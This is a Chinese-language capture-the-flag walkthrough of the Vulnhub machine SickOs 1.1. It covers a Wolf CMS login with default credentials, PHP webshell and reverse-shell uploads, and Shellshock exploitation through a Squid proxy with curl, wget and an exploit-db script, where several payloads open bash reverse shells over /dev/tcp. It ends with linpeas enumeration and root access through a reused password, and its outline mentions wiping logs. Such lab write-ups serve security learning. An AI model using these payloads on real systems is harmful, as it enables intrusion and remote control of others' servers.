【甄选靶场】Vulnhub百个项目渗透——项目十二:SichOs1.1(文件上传,shellshock多种利用)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目十二:SichOs1.1(文件上传,shellshock多种利用)

靶场地址


shellshock原理分析

🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月11日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

写在前面

这涉及到CGI以及shellshock的很多知识,这一篇就先写到这里了,下一篇会专门写这个东西的原理,挺复杂的,我会写清楚的,相信我,写出来以后会文章把po在这里


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、使用步骤

(一)端口发现

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

(二)web突破

1.漏洞扫描

nikto -h 192.168.247.141 -useproxy http://192.168.247.141:3128

在这里插入图片描述

看到一个robots.txt,还有一个shellshock的洞,还可能可以利用XSS

在这里插入图片描述

(三)cms突破

在这里插入图片描述

1.已知cms我们应该想什么?

看到cms,首先要想的第一个就是后台在哪,这就涉及到一个常识,也就是几乎所有的cms产生的漏洞,都来自于后台的各种服务

2.去哪里找他的后台目录

这里我给出三个方法

1.谷歌搜索,

看网上别人会不会告诉你(这个靶场我没搜到)

2.借助searchsploit来查看

searchsploit他的以往各种exp如何利用,里面应该就会有他的后台目录

searchsploit wolf cms----搜索exp
locate php/webapps/38000.txt      
---因为搜索出来只有一个相对目录,所以locate查找绝对目录
cat cat /usr/share/exploitdb/exploits/php/webapps/38000.txt   
--查看一下

在这里插入图片描述

在这里插入图片描述

这里就给出了脆弱url,并且我们英语好一点应该也知道这是一个文件上传的点(看目录看出来的)

3.目录爆破

在目录爆破的时候应该注意url的规律,就像这个cms,你点击很多东西就会发现他跟上了一个/?/,那么我们在构造爆破语句的时候就应该把这个加上,因为很多字典并不会有这种专门性的字段
在这里插入图片描述

这里是一个登录界面,要么sql,要么弱口令,但是我们在之前没有扫到sql的端口开放,那么只能是弱口令

1.bp爆破,抓包,利用现有字典
2.有一些比较有名的cms或者中间件啥的网上都有很多的弱口令

这里账号密码都是admin,我属于第三种情况,我碰到这种都会root试一下,admin试一下,我这属于运气玩家
在这里插入图片描述

(四)文件上传突破

登陆进去发现有文件上传的点,那么看到文件上传,应该想以下几个方面

1.能上传什么类型的文件
2.如果有限制该怎么绕过
3.上传之后的目录在哪里
4.上传成功之后如何利用

我们先随便上传一个一句话的php文件,自己写到一个php然后上传

1.方法一:一句话写入
<?php echo shell_exec($_GET['cmd']);?>

发现非常正常,甚至还能看到php已经出现在了目录中,那就很舒服
在这里插入图片描述在这里插入图片描述在这里插入图片描述

这里我们也能看到上传之后应该是在public目录中,访问了一下确实是

在这里插入图片描述

这就已经拿到了shell,然后我们执行一下反弹端口的命令就行,接下来介绍另外i一种方法

2.方法二:kali自带的后门自动反找

容易被检测到

cp /usr/share/webshells/php/php-reverse-shell.php .
gedit php-reverse-shell.php ---修改一下IP和端口
上传上去
本地开启一个对应端口监听
拿到shell

这个就不演示了,跟第三个一样的原理

3.方法三:大马
<?php
$sock=fsockopen('10.211.55.19',8888);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

同样也是传上去然后去到目录执行一下,本地开个端口接受即可

在这里插入图片描述

生成稳定shell
python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

(五)shellshock突破(为了拿shell,与文件上传功能一致,只不过是另一个思路)

刚才我们使用nikto发现:/cgi-bin/status 这个目录,这是一个cgi

访问:10.211.55.39/cgi-bin/status
在这里插入图片描述

十分明显的cgi文件,打开就长这样,kernel里面是三个被执行的命令

shellshock是什么

Shellshock - CVE-2014-6271和CVE-2014-6278 -该漏洞允许攻击者在受影响的系统上运行任意命令,使用CGI环境的Web服务器会受影响。

1.方法一

谷歌搜素得到的payload

‘() { :;}; cat /etc/passwd’

方法原理

一般来说Bash允许将shell函数导出到服务器上其他的bash实例中,是通过使用函数定义(ENV_VAR_FN)创建一个环境变量来完成的:
env ENV_VAR_FN=’() { };’
ENV_VAR_FN是在bash实例中执行命令的函数!
所以攻击方法:env ENV_VAR_FN=’() { < your function> }; < attacker code here>’

payload:User-Agent: () { :;}; echo test rong > /var/www/rong
在http头部的User-Agent发送env环境变量进行测试

payload如下

curl -x http://10.211.55.39:3128 -H "User-Agent: () { :;}; echo test rong > /var/www/rong" http://10.211.55.39/cgi-bin/status

-x 使用HTTP代理启动连接
-H 使用http头进行连接User-Agent

用curl -x http://10.211.55.39:3128代理连接,向"User-Agent:发起请求,用() {
:;};这个方式绕过,执行echo test rong >这个命令,到> /var/www/rong这个目录下,最终访问 http://10.211.55.39/cgi-bin/status

访问:http://10.211.55.39/rong —就能看到test rong信息!存在
在这里插入图片描述

那么就修改payload

最终payload:

curl -x http://192.168.247.141:3128 -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.247.129/9999 0>&1" http://192.168.247.141/cgi-bin/status
/bin/bash -i >& /dev/tcp/192.168.247129/9999 0>&1
这句话是找到我们本地的9999端口,自动回弹

在这里插入图片描述

方法二:wget走代理执行命令下载
wget -qO- -U "() { test;};echo \"Content-type: **text**/plain\"; echo; echo; /bin/cat /etc/passwd" -e use_proxy=yes -e http_proxy=192.168.:3128 http://127.0.0.1/cgi-bin/status

-qO- —将信息文本输出
-U --user-agent=代理
-e ----运行命令,execute=命令

nc -vlp 9998
wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/bash -i >& /dev/tcp/10.211.55.19/9998 0>&1" -e use_proxy=yes -e http_proxy=10.211.55.39:3128 http://127.0.0.1/cgi-bin/status
方法三:kali自带脚本shellshock
searchsploit Shellshock
locate linux/remote/34900.py
cp /usr/share/exploitdb/exploits/linux/remote/34900.py .
cat 34900.py 看一下需要怎么用

python 34900.py payload=reverse rhost=10.211.55.39 lhost=10.211.55.19 lport=555 proxy=10.211.55.39:3128 pages=/cgi-bin/status/

3.提权

拿到shell之后首先应该利用python上传脚本到靶场
让脚本先帮我们进行信息枚举

1.脚本收集信息

python -m http.server 8080
---在本机的8080端口开启服务器服务

在这里插入图片描述

wget http://192.168.247.129:8080/linpeas.sh    --下载到靶场
chmod +x linpeas.sh    --给权限
./linpeas.sh    --执行

在这里插入图片描述

内核版本漏洞,直接搜索exp然后gcc编译即可,刚好也装了gcc

在这里插入图片描述在这里插入图片描述

看到本地开启了一个mysql,我们就要想的去寻找数据库信息(mysql的配置信息一般是config,一会搜索的时候就要搜索一下)

在这里插入图片描述在这里插入图片描述

这个用户具有sudo权限,那么确定提权方向,通过数据库配置信息找到跟这个用户有关的信息然后登录,即可成功root权限

在这里插入图片描述

这个开关开启了说明ssh可以执行命令

2.手工收集信息

find / -name config* 2>/dev/null
cat /var/www/wolfcms/config.php
cat /etc/passwd
su sickos
john@123  
sudo -l
sudo su

刚才说到过的,具有mysql数据库,就要搜索config配置信息

在这里插入图片描述

,查看这个php信息

在这里插入图片描述

说到了数据库账号密码,登录之后没啥信息但是

在这里插入图片描述

检索用户,同样发现了刚才那个具有sudo权限的用户

在这里插入图片描述

登录的时候没有密码,就尝试用我们已知的唯一一个密码登录,成功,sudo su成功转换为root权限(root权限是这个#,而不是普通用户的$)

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值